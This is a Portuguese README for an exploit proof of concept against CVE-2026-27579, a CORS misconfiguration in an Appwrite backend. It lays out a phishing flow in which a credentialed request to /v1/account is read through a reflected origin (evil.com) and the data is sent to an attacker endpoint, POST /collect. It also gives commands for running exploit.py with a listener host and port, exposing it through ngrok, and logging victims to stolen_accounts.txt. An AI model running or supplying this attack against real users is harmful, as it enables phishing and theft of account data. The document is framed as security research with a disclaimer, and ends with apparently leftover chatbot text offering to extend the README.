
Exploit PoC para CVE-2026-27579, uma configuração incorreta de CORS no backend do Appwrite, demonstrando roubo de dados de conta autenticada por meio de uma página de phishing maliciosa.
CVE-2026-27579 – Vazamento de Dados de Conta Autenticada via CORS Permissivo
CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
Uma grave má configuração de CORS no backend Appwrite usado pela realtime-collaboration-platform permite que uma origem controlada pelo atacante leia dados sensíveis de usuários autenticados (e-mail, ID de usuário, status de MFA, etc.) de vítimas conectadas por meio de requisições cross-origin com credenciais.
/v1/account com reflexão de Access-Control-Allow-Origin + Access-Control-Allow-Credentials: trueflowchart TD
A[Vítima está logada\nCollabPlatform / Appwrite] --> B[Vítima visita página controlada pelo atacante\nlink de phishing / malvertising]
B --> C[Navegador envia GET /v1/account\ncom cookies de sessão credentials: 'include']
C --> D[Appwrite reflete Origin arbitrária\nAccess-Control-Allow-Origin: evil.com]
D --> E[Access-Control-Allow-Credentials: true]
E --> F[Navegador permite JavaScript ler a resposta\nemail, $id, mfa, name, ...]
F --> G[Dados exfiltrados para servidor do atacante\nPOST /collect]
G --> H[Atacante recebe detalhes completos da conta]
--lhost e --lport personalizadospip install flask
# Uso básico
python3 exploit.py --lhost 192.168.1.100 --lport 8000
# Usando domínio / IP público
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080
# Para exposição pública (recomendado)
# 1. Execute o script
# 2. Use ngrok: ngrok http 8000
# 3. Substitua http://<lhost>:<lport> no código pela sua URL do ngrok
# (ou execute novamente com --lhost = seu-url-ngrok.ngrok-free.app)
Exemplo de saída ao executar:
[*] Iniciando servidor malicioso → http://192.168.1.100:8000
[*] Envie este link para o alvo:
http://192.168.1.100:8000/
Vítima visita o link enquanto logada → dados aparecem no terminal + salvos em stolen_accounts.txt
Este código é fornecido apenas para fins educacionais, testes de segurança autorizados, exercícios de red team e pesquisa de vulnerabilidades.
O uso não autorizado contra qualquer sistema ou indivíduo sem permissão escrita explícita é ilegal na maioria das jurisdições (fraude computacional, acesso não autorizado, roubo de dados, leis de phishing, etc.).
Use apenas em ambientes que você possui ou para os quais tem permissão formal para testar.
Mohammed Idrees Banyamer
Pesquisador de Segurança
Jordânia
Instagram: @banyamer_security
Sinta-se à vontade para copiar e colar isso diretamente no seu arquivo README.md.
Se quiser adicionar capturas de tela, alterar as cores dos badges, adicionar mais seções (Demonstração, Mitigação, etc.), ou incluir badge de licença / contadores de estrelas / forks — me avise e posso estender.